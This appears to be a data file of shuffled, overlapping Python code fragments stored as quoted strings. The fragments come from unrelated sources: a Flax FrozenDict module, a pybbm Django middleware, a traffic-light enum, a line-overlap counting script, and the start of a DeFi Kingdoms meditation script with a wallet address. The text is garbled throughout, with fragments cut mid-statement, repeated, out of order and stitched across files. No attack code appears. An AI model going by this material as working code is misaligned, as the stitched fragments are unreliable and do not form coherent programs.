"lazily in `__getitem__`. # As a result tree_flatten/unflatten will be",
"`FrozenDict` mutable by transforming it into (nested) dict. \"\"\" if",
"immutable by transforming it into `FrozenDict`. \"\"\" # Turn the",
"= h return self._hash def copy(self, add_or_replace: Mapping[K, V]) ->",
"self.items(): h ^= hash((key, value)) self._hash = h return self._hash",
"or implied. # See the License for the specific language",
"self._dict[key] if isinstance(v, dict): return FrozenDict(v) return v def __setitem__(self,",
"KIND, either express or implied. # See the License for",
"specific language governing permissions and # limitations under the License.",
"@jax.tree_util.register_pytree_node_class class FrozenDict(Mapping[K, V]): \"\"\"An immutable variant of the Python",
"a nested `dict` immutable by transforming it into `FrozenDict`. \"\"\"",
"key, value in x.items(): ys[key] = unfreeze(value) return ys def",
"V]) -> Dict[K, V]: \"\"\"Unfreeze a FrozenDict. Makes a mutable",
"native dicts. xs = unfreeze(xs) return FrozenDict(xs) def unfreeze(x: FrozenDict[K,",
"**kwargs): self._dict = dict(*args, **kwargs) self._hash = None def __getitem__(self,",
"key: K) -> Tuple['FrozenDict[K, V]', V]: \"\"\"Create a new FrozenDict",
"License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by",
"return new_self, value def unfreeze(self) -> Dict[K, V]: return unfreeze(self)",
"None: h = 0 for key, value in self.items(): h",
"result tree_flatten/unflatten will be fast # because it operates on",
"def tree_unflatten(cls, _, data): return cls(*data) def freeze(xs: Dict[K, V])",
"return type(self)(self, **unfreeze(add_or_replace)) def items(self): for key in self._dict: yield",
"(the \"License\"); # you may not use this file except",
"# you may not use this file except in compliance",
"for key, value in xs.items()} def _restore_frozen_dict(xs, states): return freeze(",
"a `FrozenDict` mutable by transforming it into (nested) dict. \"\"\"",
"the new FrozenDict and the removed value. \"\"\" value =",
"limitations under the License. \"\"\"Frozen Dictionary.\"\"\" from typing import TypeVar,",
"('_dict', '_hash') def __init__(self, *args, **kwargs): self._dict = dict(*args, **kwargs)",
"value in self.items(): h ^= hash((key, value)) self._hash = h",
"# # Unless required by applicable law or agreed to",
"# Turn the nested FrozenDict into a dict. This way",
"unfreeze(value) return ys def _frozen_dict_state_dict(xs): return {key: serialization.to_state_dict(value) for key,",
"obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0",
"Version 2.0 (the \"License\"); # you may not use this",
"{key: serialization.from_state_dict(value, states[key]) for key, value in xs.items()}) serialization.register_serialization_state( FrozenDict,",
"def __hash__(self): if self._hash is None: h = 0 for",
"len(self._dict) def __repr__(self): return 'FrozenDict(%r)' % self._dict def __hash__(self): if",
"and the removed value. \"\"\" value = self[key] new_dict =",
"dict. Makes a nested `dict` immutable by transforming it into",
"implied. # See the License for the specific language governing",
"a dict. This way the internal data structure # of",
"under the Apache License, Version 2.0 (the \"License\"); # you",
"it into `FrozenDict`. \"\"\" # Turn the nested FrozenDict into",
"= unfreeze(xs) return FrozenDict(xs) def unfreeze(x: FrozenDict[K, V]) -> Dict[K,",
"= TypeVar('K') V = TypeVar('V') @jax.tree_util.register_pytree_node_class class FrozenDict(Mapping[K, V]): \"\"\"An",
"by applicable law or agreed to in writing, software #",
"(nested) dict. \"\"\" if not isinstance(x, (FrozenDict, dict)): return x",
"internal data structure # of FrozenDict does not contain any",
"dicts. xs = unfreeze(xs) return FrozenDict(xs) def unfreeze(x: FrozenDict[K, V])",
"for key, value in x.items(): ys[key] = unfreeze(value) return ys",
"immutable.') def __contains__(self, key): return key in self._dict def __iter__(self):",
"Copyright 2020 The Flax Authors. # # Licensed under the",
"self._hash = h return self._hash def copy(self, add_or_replace: Mapping[K, V])",
"new_self, value def unfreeze(self) -> Dict[K, V]: return unfreeze(self) def",
"to remove from the dict Returns: A pair with the",
"typing import TypeVar, Mapping, Dict, Tuple from flax import serialization",
"def _frozen_dict_state_dict(xs): return {key: serialization.to_state_dict(value) for key, value in xs.items()}",
"Mapping, Dict, Tuple from flax import serialization import jax K",
"tree_flatten(self): return (self._dict,), () @classmethod def tree_unflatten(cls, _, data): return",
"__getitem__(self, key): v = self._dict[key] if isinstance(v, dict): return FrozenDict(v)",
"Python dict.\"\"\" __slots__ = ('_dict', '_hash') def __init__(self, *args, **kwargs):",
"__slots__ = ('_dict', '_hash') def __init__(self, *args, **kwargs): self._dict =",
"FrozenDict. Makes a mutable copy of a `FrozenDict` mutable by",
"create those lazily in `__getitem__`. # As a result tree_flatten/unflatten",
"# instead we create those lazily in `__getitem__`. # As",
"new FrozenDict where one entry is removed. Example:: state, params",
"an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF",
"Unless required by applicable law or agreed to in writing,",
"= dict(*args, **kwargs) self._hash = None def __getitem__(self, key): v",
"0 for key, value in self.items(): h ^= hash((key, value))",
"return self._hash def copy(self, add_or_replace: Mapping[K, V]) -> 'FrozenDict[K, V]':",
"the dict Returns: A pair with the new FrozenDict and",
"x ys = {} for key, value in x.items(): ys[key]",
"the specific language governing permissions and # limitations under the",
"because it operates on native dicts. xs = unfreeze(xs) return",
"V = TypeVar('V') @jax.tree_util.register_pytree_node_class class FrozenDict(Mapping[K, V]): \"\"\"An immutable variant",
"xs.items()} def _restore_frozen_dict(xs, states): return freeze( {key: serialization.from_state_dict(value, states[key]) for",
"contain any FrozenDicts. # instead we create those lazily in",
"applicable law or agreed to in writing, software # distributed",
"return key in self._dict def __iter__(self): return iter(self._dict) def __len__(self):",
"the internal data structure # of FrozenDict does not contain",
"isinstance(v, dict): return FrozenDict(v) return v def __setitem__(self, key, value):",
"of FrozenDict does not contain any FrozenDicts. # instead we",
"A pair with the new FrozenDict and the removed value.",
"\"\"\" # Turn the nested FrozenDict into a dict. This",
"in xs.items()} def _restore_frozen_dict(xs, states): return freeze( {key: serialization.from_state_dict(value, states[key])",
"in writing, software # distributed under the License is distributed",
"dict. \"\"\" if not isinstance(x, (FrozenDict, dict)): return x ys",
"def __setitem__(self, key, value): raise ValueError('FrozenDict is immutable.') def __contains__(self,",
"Dict, Tuple from flax import serialization import jax K =",
"# Copyright 2020 The Flax Authors. # # Licensed under",
"def __getitem__(self, key): v = self._dict[key] if isinstance(v, dict): return",
"FrozenDict where one entry is removed. Example:: state, params =",
"V]) -> 'FrozenDict[K, V]': \"\"\"Create a new FrozenDict with additional",
"Authors. # # Licensed under the Apache License, Version 2.0",
"dict)): return x ys = {} for key, value in",
"License is distributed on an \"AS IS\" BASIS, # WITHOUT",
"be fast # because it operates on native dicts. xs",
"License, Version 2.0 (the \"License\"); # you may not use",
"{key: serialization.to_state_dict(value) for key, value in xs.items()} def _restore_frozen_dict(xs, states):",
"# You may obtain a copy of the License at",
"value): raise ValueError('FrozenDict is immutable.') def __contains__(self, key): return key",
"def __repr__(self): return 'FrozenDict(%r)' % self._dict def __hash__(self): if self._hash",
"is removed. Example:: state, params = variables.pop('params') Args: key: the",
"class FrozenDict(Mapping[K, V]): \"\"\"An immutable variant of the Python dict.\"\"\"",
"data structure # of FrozenDict does not contain any FrozenDicts.",
"copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #",
"ys[key] = unfreeze(value) return ys def _frozen_dict_state_dict(xs): return {key: serialization.to_state_dict(value)",
"As a result tree_flatten/unflatten will be fast # because it",
"pop(self, key: K) -> Tuple['FrozenDict[K, V]', V]: \"\"\"Create a new",
"def tree_flatten(self): return (self._dict,), () @classmethod def tree_unflatten(cls, _, data):",
"replaced entries.\"\"\" return type(self)(self, **unfreeze(add_or_replace)) def items(self): for key in",
"def __init__(self, *args, **kwargs): self._dict = dict(*args, **kwargs) self._hash =",
"for key, value in self.items(): h ^= hash((key, value)) self._hash",
"from typing import TypeVar, Mapping, Dict, Tuple from flax import",
"states[key]) for key, value in xs.items()}) serialization.register_serialization_state( FrozenDict, _frozen_dict_state_dict, _restore_frozen_dict)",
"the License for the specific language governing permissions and #",
"self[key]) def pop(self, key: K) -> Tuple['FrozenDict[K, V]', V]: \"\"\"Create",
"Apache License, Version 2.0 (the \"License\"); # you may not",
"-> Dict[K, V]: return unfreeze(self) def tree_flatten(self): return (self._dict,), ()",
"either express or implied. # See the License for the",
"permissions and # limitations under the License. \"\"\"Frozen Dictionary.\"\"\" from",
"in x.items(): ys[key] = unfreeze(value) return ys def _frozen_dict_state_dict(xs): return",
"# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or",
"xs = unfreeze(xs) return FrozenDict(xs) def unfreeze(x: FrozenDict[K, V]) ->",
"additional or replaced entries.\"\"\" return type(self)(self, **unfreeze(add_or_replace)) def items(self): for",
"V]: \"\"\"Unfreeze a FrozenDict. Makes a mutable copy of a",
"a mutable copy of a `FrozenDict` mutable by transforming it",
"This way the internal data structure # of FrozenDict does",
"isinstance(x, (FrozenDict, dict)): return x ys = {} for key,",
"\"\"\"Create a new FrozenDict with additional or replaced entries.\"\"\" return",
"# of FrozenDict does not contain any FrozenDicts. # instead",
"a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #",
"def unfreeze(self) -> Dict[K, V]: return unfreeze(self) def tree_flatten(self): return",
"_, data): return cls(*data) def freeze(xs: Dict[K, V]) -> FrozenDict[K,",
"Dict[K, V]: return unfreeze(self) def tree_flatten(self): return (self._dict,), () @classmethod",
"self._dict def __iter__(self): return iter(self._dict) def __len__(self): return len(self._dict) def",
"self[key] new_dict = dict(self._dict) new_dict.pop(key) new_self = type(self)(new_dict) return new_self,",
"serialization.from_state_dict(value, states[key]) for key, value in xs.items()}) serialization.register_serialization_state( FrozenDict, _frozen_dict_state_dict,",
"if isinstance(v, dict): return FrozenDict(v) return v def __setitem__(self, key,",
"\"License\"); # you may not use this file except in",
"return 'FrozenDict(%r)' % self._dict def __hash__(self): if self._hash is None:",
"**unfreeze(add_or_replace)) def items(self): for key in self._dict: yield (key, self[key])",
"distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR",
"value. \"\"\" value = self[key] new_dict = dict(self._dict) new_dict.pop(key) new_self",
"those lazily in `__getitem__`. # As a result tree_flatten/unflatten will",
"# distributed under the License is distributed on an \"AS",
"add_or_replace: Mapping[K, V]) -> 'FrozenDict[K, V]': \"\"\"Create a new FrozenDict",
"# Unless required by applicable law or agreed to in",
"dict.\"\"\" __slots__ = ('_dict', '_hash') def __init__(self, *args, **kwargs): self._dict",
"\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY",
"by transforming it into (nested) dict. \"\"\" if not isinstance(x,",
"the License. \"\"\"Frozen Dictionary.\"\"\" from typing import TypeVar, Mapping, Dict,",
"You may obtain a copy of the License at #",
"it into (nested) dict. \"\"\" if not isinstance(x, (FrozenDict, dict)):",
"return len(self._dict) def __repr__(self): return 'FrozenDict(%r)' % self._dict def __hash__(self):",
"V]: return unfreeze(self) def tree_flatten(self): return (self._dict,), () @classmethod def",
"not isinstance(x, (FrozenDict, dict)): return x ys = {} for",
"Example:: state, params = variables.pop('params') Args: key: the key to",
"serialization import jax K = TypeVar('K') V = TypeVar('V') @jax.tree_util.register_pytree_node_class",
"iter(self._dict) def __len__(self): return len(self._dict) def __repr__(self): return 'FrozenDict(%r)' %",
"transforming it into (nested) dict. \"\"\" if not isinstance(x, (FrozenDict,",
"the Apache License, Version 2.0 (the \"License\"); # you may",
"states): return freeze( {key: serialization.from_state_dict(value, states[key]) for key, value in",
"instead we create those lazily in `__getitem__`. # As a",
"return x ys = {} for key, value in x.items():"
] |
[
"language = translation.get_language_from_request(request) if not profile.language: profile.language = language profile.save()",
"control. (Like pybb.Profile). profile = util.get_pybb_profile(request.user) except ObjectDoesNotExist: # Ok,",
"= util.get_pybb_profile(request.user) language = translation.get_language_from_request(request) if not profile.language: profile.language =",
"and grant permissions for add posts user_saved(request.user, created=True) profile =",
"profile.language and profile.language != language: request.session['django_language'] = profile.language translation.activate(profile.language) request.LANGUAGE_CODE",
"user created during syncdb but profile model # under south",
"pybb import util from pybb.signals import user_saved class PybbMiddleware(object): def",
"pybb.signals import user_saved class PybbMiddleware(object): def process_request(self, request): if request.user.is_authenticated():",
"profile.language != language: request.session['django_language'] = profile.language translation.activate(profile.language) request.LANGUAGE_CODE = translation.get_language()",
"get error # if user created during syncdb but profile",
"permissions for add posts user_saved(request.user, created=True) profile = util.get_pybb_profile(request.user) language",
"profile.language = language profile.save() if profile.language and profile.language != language:",
"except ObjectDoesNotExist: # Ok, we should create new profile for",
"if request.user.is_authenticated(): try: # Here we try to load profile,",
"under south control. (Like pybb.Profile). profile = util.get_pybb_profile(request.user) except ObjectDoesNotExist:",
"<reponame>grigi/pybbm # -*- coding: utf-8 -*- from django.utils import translation",
"request): if request.user.is_authenticated(): try: # Here we try to load",
"error # if user created during syncdb but profile model",
"created during syncdb but profile model # under south control.",
"profile.save() if profile.language and profile.language != language: request.session['django_language'] = profile.language",
"Ok, we should create new profile for this user #",
"-*- from django.utils import translation from django.db.models import ObjectDoesNotExist from",
"language profile.save() if profile.language and profile.language != language: request.session['django_language'] =",
"for add posts user_saved(request.user, created=True) profile = util.get_pybb_profile(request.user) language =",
"user_saved class PybbMiddleware(object): def process_request(self, request): if request.user.is_authenticated(): try: #",
"import user_saved class PybbMiddleware(object): def process_request(self, request): if request.user.is_authenticated(): try:",
"we try to load profile, but can get error #",
"posts user_saved(request.user, created=True) profile = util.get_pybb_profile(request.user) language = translation.get_language_from_request(request) if",
"util from pybb.signals import user_saved class PybbMiddleware(object): def process_request(self, request):",
"but profile model # under south control. (Like pybb.Profile). profile",
"ObjectDoesNotExist: # Ok, we should create new profile for this",
"# and grant permissions for add posts user_saved(request.user, created=True) profile",
"translation from django.db.models import ObjectDoesNotExist from pybb import util from",
"profile = util.get_pybb_profile(request.user) except ObjectDoesNotExist: # Ok, we should create",
"this user # and grant permissions for add posts user_saved(request.user,",
"import util from pybb.signals import user_saved class PybbMiddleware(object): def process_request(self,",
"= translation.get_language_from_request(request) if not profile.language: profile.language = language profile.save() if",
"profile, but can get error # if user created during",
"from pybb.signals import user_saved class PybbMiddleware(object): def process_request(self, request): if",
"if profile.language and profile.language != language: request.session['django_language'] = profile.language translation.activate(profile.language)",
"PybbMiddleware(object): def process_request(self, request): if request.user.is_authenticated(): try: # Here we",
"syncdb but profile model # under south control. (Like pybb.Profile).",
"profile for this user # and grant permissions for add",
"-*- coding: utf-8 -*- from django.utils import translation from django.db.models",
"# Ok, we should create new profile for this user",
"not profile.language: profile.language = language profile.save() if profile.language and profile.language",
"utf-8 -*- from django.utils import translation from django.db.models import ObjectDoesNotExist",
"load profile, but can get error # if user created",
"we should create new profile for this user # and",
"user # and grant permissions for add posts user_saved(request.user, created=True)",
"grant permissions for add posts user_saved(request.user, created=True) profile = util.get_pybb_profile(request.user)",
"should create new profile for this user # and grant",
"util.get_pybb_profile(request.user) language = translation.get_language_from_request(request) if not profile.language: profile.language = language",
"django.utils import translation from django.db.models import ObjectDoesNotExist from pybb import",
"create new profile for this user # and grant permissions",
"created=True) profile = util.get_pybb_profile(request.user) language = translation.get_language_from_request(request) if not profile.language:",
"(Like pybb.Profile). profile = util.get_pybb_profile(request.user) except ObjectDoesNotExist: # Ok, we",
"pybb.Profile). profile = util.get_pybb_profile(request.user) except ObjectDoesNotExist: # Ok, we should",
"new profile for this user # and grant permissions for",
"from django.utils import translation from django.db.models import ObjectDoesNotExist from pybb",
"ObjectDoesNotExist from pybb import util from pybb.signals import user_saved class",
"profile = util.get_pybb_profile(request.user) language = translation.get_language_from_request(request) if not profile.language: profile.language",
"class PybbMiddleware(object): def process_request(self, request): if request.user.is_authenticated(): try: # Here",
"request.user.is_authenticated(): try: # Here we try to load profile, but",
"import translation from django.db.models import ObjectDoesNotExist from pybb import util",
"add posts user_saved(request.user, created=True) profile = util.get_pybb_profile(request.user) language = translation.get_language_from_request(request)",
"during syncdb but profile model # under south control. (Like",
"def process_request(self, request): if request.user.is_authenticated(): try: # Here we try",
"user_saved(request.user, created=True) profile = util.get_pybb_profile(request.user) language = translation.get_language_from_request(request) if not",
"# -*- coding: utf-8 -*- from django.utils import translation from",
"if user created during syncdb but profile model # under",
"util.get_pybb_profile(request.user) except ObjectDoesNotExist: # Ok, we should create new profile",
"for this user # and grant permissions for add posts",
"south control. (Like pybb.Profile). profile = util.get_pybb_profile(request.user) except ObjectDoesNotExist: #",
"from pybb import util from pybb.signals import user_saved class PybbMiddleware(object):",
"import ObjectDoesNotExist from pybb import util from pybb.signals import user_saved",
"but can get error # if user created during syncdb",
"# if user created during syncdb but profile model #",
"can get error # if user created during syncdb but",
"translation.get_language_from_request(request) if not profile.language: profile.language = language profile.save() if profile.language",
"# Here we try to load profile, but can get",
"process_request(self, request): if request.user.is_authenticated(): try: # Here we try to",
"coding: utf-8 -*- from django.utils import translation from django.db.models import",
"if not profile.language: profile.language = language profile.save() if profile.language and",
"# under south control. (Like pybb.Profile). profile = util.get_pybb_profile(request.user) except",
"try: # Here we try to load profile, but can",
"profile.language: profile.language = language profile.save() if profile.language and profile.language !=",
"try to load profile, but can get error # if",
"= util.get_pybb_profile(request.user) except ObjectDoesNotExist: # Ok, we should create new",
"and profile.language != language: request.session['django_language'] = profile.language translation.activate(profile.language) request.LANGUAGE_CODE =",
"model # under south control. (Like pybb.Profile). profile = util.get_pybb_profile(request.user)",
"= language profile.save() if profile.language and profile.language != language: request.session['django_language']",
"to load profile, but can get error # if user",
"from django.db.models import ObjectDoesNotExist from pybb import util from pybb.signals",
"profile model # under south control. (Like pybb.Profile). profile =",
"Here we try to load profile, but can get error",
"django.db.models import ObjectDoesNotExist from pybb import util from pybb.signals import"
] |
[
"NORTH = 0x4 class Action(CustomEnum): FLASH_RED = 0x32 GREEN =",
"0x61 BOTH = 0x63 class Mode(CustomEnum): LIVE = 0 SIMULATION",
"value): found_element = None if cls.has_value(value): found_element = cls(value) return",
"CustomEnum(Enum): @classmethod def has_value(cls, value): return any(value == item.value for",
"any(value == item.value for item in cls) @classmethod def from_value(cls,",
"0x33 FLASH_GREEN = 0x34 PEDESTRIAN = 0x35 EMERGENCY = 0x37",
"= 0x1 SOUTH = 0x2 WEST = 0x3 NORTH =",
"0x37 class Intersection(CustomEnum): A = 0x62 B = 0x61 BOTH",
"WEST = 0x3 NORTH = 0x4 class Action(CustomEnum): FLASH_RED =",
"0x1 SOUTH = 0x2 WEST = 0x3 NORTH = 0x4",
"= 0x35 EMERGENCY = 0x37 class Intersection(CustomEnum): A = 0x62",
"= 0x37 class Intersection(CustomEnum): A = 0x62 B = 0x61",
"def from_value(cls, value): found_element = None if cls.has_value(value): found_element =",
"in cls) @classmethod def from_value(cls, value): found_element = None if",
"EAST = 0x1 SOUTH = 0x2 WEST = 0x3 NORTH",
"@classmethod def has_value(cls, value): return any(value == item.value for item",
"def has_value(cls, value): return any(value == item.value for item in",
"= 0x3 NORTH = 0x4 class Action(CustomEnum): FLASH_RED = 0x32",
"0x4 class Action(CustomEnum): FLASH_RED = 0x32 GREEN = 0x33 FLASH_GREEN",
"= 0x34 PEDESTRIAN = 0x35 EMERGENCY = 0x37 class Intersection(CustomEnum):",
"0x34 PEDESTRIAN = 0x35 EMERGENCY = 0x37 class Intersection(CustomEnum): A",
"return any(value == item.value for item in cls) @classmethod def",
"= 0x2 WEST = 0x3 NORTH = 0x4 class Action(CustomEnum):",
"== item.value for item in cls) @classmethod def from_value(cls, value):",
"0x2 WEST = 0x3 NORTH = 0x4 class Action(CustomEnum): FLASH_RED",
"EMERGENCY = 0x37 class Intersection(CustomEnum): A = 0x62 B =",
"B = 0x61 BOTH = 0x63 class Mode(CustomEnum): LIVE =",
"has_value(cls, value): return any(value == item.value for item in cls)",
"from_value(cls, value): found_element = None if cls.has_value(value): found_element = cls(value)",
"found_element class Direction(CustomEnum): EAST = 0x1 SOUTH = 0x2 WEST",
"0x32 GREEN = 0x33 FLASH_GREEN = 0x34 PEDESTRIAN = 0x35",
"= 0x63 class Mode(CustomEnum): LIVE = 0 SIMULATION = 1",
"= None if cls.has_value(value): found_element = cls(value) return found_element class",
"= 0x61 BOTH = 0x63 class Mode(CustomEnum): LIVE = 0",
"cls) @classmethod def from_value(cls, value): found_element = None if cls.has_value(value):",
"import Enum class CustomEnum(Enum): @classmethod def has_value(cls, value): return any(value",
"= cls(value) return found_element class Direction(CustomEnum): EAST = 0x1 SOUTH",
"FLASH_RED = 0x32 GREEN = 0x33 FLASH_GREEN = 0x34 PEDESTRIAN",
"found_element = None if cls.has_value(value): found_element = cls(value) return found_element",
"class Direction(CustomEnum): EAST = 0x1 SOUTH = 0x2 WEST =",
"PEDESTRIAN = 0x35 EMERGENCY = 0x37 class Intersection(CustomEnum): A =",
"= 0x33 FLASH_GREEN = 0x34 PEDESTRIAN = 0x35 EMERGENCY =",
"item in cls) @classmethod def from_value(cls, value): found_element = None",
"0x35 EMERGENCY = 0x37 class Intersection(CustomEnum): A = 0x62 B",
"if cls.has_value(value): found_element = cls(value) return found_element class Direction(CustomEnum): EAST",
"A = 0x62 B = 0x61 BOTH = 0x63 class",
"SOUTH = 0x2 WEST = 0x3 NORTH = 0x4 class",
"Direction(CustomEnum): EAST = 0x1 SOUTH = 0x2 WEST = 0x3",
"= 0x4 class Action(CustomEnum): FLASH_RED = 0x32 GREEN = 0x33",
"Action(CustomEnum): FLASH_RED = 0x32 GREEN = 0x33 FLASH_GREEN = 0x34",
"from enum import Enum class CustomEnum(Enum): @classmethod def has_value(cls, value):",
"value): return any(value == item.value for item in cls) @classmethod",
"cls(value) return found_element class Direction(CustomEnum): EAST = 0x1 SOUTH =",
"class CustomEnum(Enum): @classmethod def has_value(cls, value): return any(value == item.value",
"enum import Enum class CustomEnum(Enum): @classmethod def has_value(cls, value): return",
"return found_element class Direction(CustomEnum): EAST = 0x1 SOUTH = 0x2",
"GREEN = 0x33 FLASH_GREEN = 0x34 PEDESTRIAN = 0x35 EMERGENCY",
"BOTH = 0x63 class Mode(CustomEnum): LIVE = 0 SIMULATION =",
"None if cls.has_value(value): found_element = cls(value) return found_element class Direction(CustomEnum):",
"FLASH_GREEN = 0x34 PEDESTRIAN = 0x35 EMERGENCY = 0x37 class",
"class Intersection(CustomEnum): A = 0x62 B = 0x61 BOTH =",
"0x3 NORTH = 0x4 class Action(CustomEnum): FLASH_RED = 0x32 GREEN",
"class Action(CustomEnum): FLASH_RED = 0x32 GREEN = 0x33 FLASH_GREEN =",
"= 0x32 GREEN = 0x33 FLASH_GREEN = 0x34 PEDESTRIAN =",
"Enum class CustomEnum(Enum): @classmethod def has_value(cls, value): return any(value ==",
"Intersection(CustomEnum): A = 0x62 B = 0x61 BOTH = 0x63",
"= 0x62 B = 0x61 BOTH = 0x63 class Mode(CustomEnum):",
"0x62 B = 0x61 BOTH = 0x63 class Mode(CustomEnum): LIVE",
"item.value for item in cls) @classmethod def from_value(cls, value): found_element",
"found_element = cls(value) return found_element class Direction(CustomEnum): EAST = 0x1",
"for item in cls) @classmethod def from_value(cls, value): found_element =",
"@classmethod def from_value(cls, value): found_element = None if cls.has_value(value): found_element",
"cls.has_value(value): found_element = cls(value) return found_element class Direction(CustomEnum): EAST ="
] |
[
"line.split('>') p1 = p1[:-2] x1, y1 = p1.split(',') x1 =",
"counts.get(pt, 0) + 1 if x == x2 and y",
"0 elif y1 > y2: dy = -1 else: dy",
"y1 while True: pt = (x, y) counts[pt] = counts.get(pt,",
"-1 else: dx = 1 if y1 == y2: dy",
"y2: break x += dx y += dy n =",
"pt = (x, y) counts[pt] = counts.get(pt, 0) + 1",
"1 x = x1 y = y1 while True: pt",
"dx = -1 else: dx = 1 if y1 ==",
"0) + 1 if x == x2 and y ==",
"= int(y2) if x1 == x2: dx = 0 elif",
"= 0 for _, ct in counts.items(): if ct >",
"elif y1 > y2: dy = -1 else: dy =",
"= -1 else: dx = 1 if y1 == y2:",
"= p1[:-2] x1, y1 = p1.split(',') x1 = int(x1) y1",
"else: dy = 1 x = x1 y = y1",
"x2 and y == y2: break x += dx y",
"y1 == y2: dy = 0 elif y1 > y2:",
"x == x2 and y == y2: break x +=",
"ct in counts.items(): if ct > 1: n += 1",
"= line.strip() p1, p2 = line.split('>') p1 = p1[:-2] x1,",
"counts[pt] = counts.get(pt, 0) + 1 if x == x2",
"y += dy n = 0 for _, ct in",
"x1 = int(x1) y1 = int(y1) p2 = p2[1:] x2,",
"x2, y2 = p2.split(',') x2 = int(x2) y2 = int(y2)",
"import fileinput counts = {} for line in fileinput.input(): line",
"y1 = p1.split(',') x1 = int(x1) y1 = int(y1) p2",
"dy n = 0 for _, ct in counts.items(): if",
"= -1 else: dy = 1 x = x1 y",
"= p1.split(',') x1 = int(x1) y1 = int(y1) p2 =",
"= int(x1) y1 = int(y1) p2 = p2[1:] x2, y2",
"while True: pt = (x, y) counts[pt] = counts.get(pt, 0)",
"elif x1 > x2: dx = -1 else: dx =",
"if x == x2 and y == y2: break x",
"p2[1:] x2, y2 = p2.split(',') x2 = int(x2) y2 =",
"-1 else: dy = 1 x = x1 y =",
"in counts.items(): if ct > 1: n += 1 print(n)",
"x1, y1 = p1.split(',') x1 = int(x1) y1 = int(y1)",
"int(x2) y2 = int(y2) if x1 == x2: dx =",
"int(x1) y1 = int(y1) p2 = p2[1:] x2, y2 =",
"in fileinput.input(): line = line.strip() p1, p2 = line.split('>') p1",
"0 elif x1 > x2: dx = -1 else: dx",
"= line.split('>') p1 = p1[:-2] x1, y1 = p1.split(',') x1",
"> x2: dx = -1 else: dx = 1 if",
"== y2: dy = 0 elif y1 > y2: dy",
"p2.split(',') x2 = int(x2) y2 = int(y2) if x1 ==",
"p1, p2 = line.split('>') p1 = p1[:-2] x1, y1 =",
"= 0 elif x1 > x2: dx = -1 else:",
"dx y += dy n = 0 for _, ct",
"dy = 0 elif y1 > y2: dy = -1",
"line in fileinput.input(): line = line.strip() p1, p2 = line.split('>')",
"p2 = line.split('>') p1 = p1[:-2] x1, y1 = p1.split(',')",
"== y2: break x += dx y += dy n",
"y2 = p2.split(',') x2 = int(x2) y2 = int(y2) if",
"line = line.strip() p1, p2 = line.split('>') p1 = p1[:-2]",
"line.strip() p1, p2 = line.split('>') p1 = p1[:-2] x1, y1",
"if x1 == x2: dx = 0 elif x1 >",
"else: dx = 1 if y1 == y2: dy =",
"for line in fileinput.input(): line = line.strip() p1, p2 =",
"dx = 0 elif x1 > x2: dx = -1",
"+ 1 if x == x2 and y == y2:",
"p1.split(',') x1 = int(x1) y1 = int(y1) p2 = p2[1:]",
"x2: dx = 0 elif x1 > x2: dx =",
"_, ct in counts.items(): if ct > 1: n +=",
"True: pt = (x, y) counts[pt] = counts.get(pt, 0) +",
"if y1 == y2: dy = 0 elif y1 >",
"dy = -1 else: dy = 1 x = x1",
"dy = 1 x = x1 y = y1 while",
"counts = {} for line in fileinput.input(): line = line.strip()",
"y2 = int(y2) if x1 == x2: dx = 0",
"0 for _, ct in counts.items(): if ct > 1:",
"= y1 while True: pt = (x, y) counts[pt] =",
"for _, ct in counts.items(): if ct > 1: n",
"y = y1 while True: pt = (x, y) counts[pt]",
"= int(y1) p2 = p2[1:] x2, y2 = p2.split(',') x2",
"dx = 1 if y1 == y2: dy = 0",
"y2: dy = 0 elif y1 > y2: dy =",
"= 0 elif y1 > y2: dy = -1 else:",
"y1 > y2: dy = -1 else: dy = 1",
"p2 = p2[1:] x2, y2 = p2.split(',') x2 = int(x2)",
"== x2: dx = 0 elif x1 > x2: dx",
"= 1 x = x1 y = y1 while True:",
"x2: dx = -1 else: dx = 1 if y1",
"= p2[1:] x2, y2 = p2.split(',') x2 = int(x2) y2",
"= x1 y = y1 while True: pt = (x,",
"fileinput counts = {} for line in fileinput.input(): line =",
"x1 == x2: dx = 0 elif x1 > x2:",
"x = x1 y = y1 while True: pt =",
"y1 = int(y1) p2 = p2[1:] x2, y2 = p2.split(',')",
"= int(x2) y2 = int(y2) if x1 == x2: dx",
"x += dx y += dy n = 0 for",
"n = 0 for _, ct in counts.items(): if ct",
"= p2.split(',') x2 = int(x2) y2 = int(y2) if x1",
"p1 = p1[:-2] x1, y1 = p1.split(',') x1 = int(x1)",
"1 if y1 == y2: dy = 0 elif y1",
"1 if x == x2 and y == y2: break",
"= counts.get(pt, 0) + 1 if x == x2 and",
"p1[:-2] x1, y1 = p1.split(',') x1 = int(x1) y1 =",
"x2 = int(x2) y2 = int(y2) if x1 == x2:",
"(x, y) counts[pt] = counts.get(pt, 0) + 1 if x",
"> y2: dy = -1 else: dy = 1 x",
"y2: dy = -1 else: dy = 1 x =",
"= {} for line in fileinput.input(): line = line.strip() p1,",
"+= dx y += dy n = 0 for _,",
"int(y2) if x1 == x2: dx = 0 elif x1",
"{} for line in fileinput.input(): line = line.strip() p1, p2",
"y) counts[pt] = counts.get(pt, 0) + 1 if x ==",
"+= dy n = 0 for _, ct in counts.items():",
"x1 > x2: dx = -1 else: dx = 1",
"= 1 if y1 == y2: dy = 0 elif",
"fileinput.input(): line = line.strip() p1, p2 = line.split('>') p1 =",
"and y == y2: break x += dx y +=",
"= (x, y) counts[pt] = counts.get(pt, 0) + 1 if",
"== x2 and y == y2: break x += dx",
"y == y2: break x += dx y += dy",
"break x += dx y += dy n = 0",
"int(y1) p2 = p2[1:] x2, y2 = p2.split(',') x2 =",
"x1 y = y1 while True: pt = (x, y)"
] |
[
"%(message)s' logger = logging.getLogger(\"DFK-meditation\") logger.setLevel(logging.DEBUG) logging.basicConfig(level=logging.INFO, format=log_format, stream=sys.stdout) rpc_server =",
"private_key = None # set private key account_address = '0x2E7669F61eA77F02445A015FBdcFe2DE47083E02'",
"w3.eth.getTransactionCount(account_address), gas_price_gwei, tx_timeout_seconds, rpc_server, logger) hero_meditation = meditation.get_hero_meditation(hero_id, rpc_server) logger.info(\"Pending",
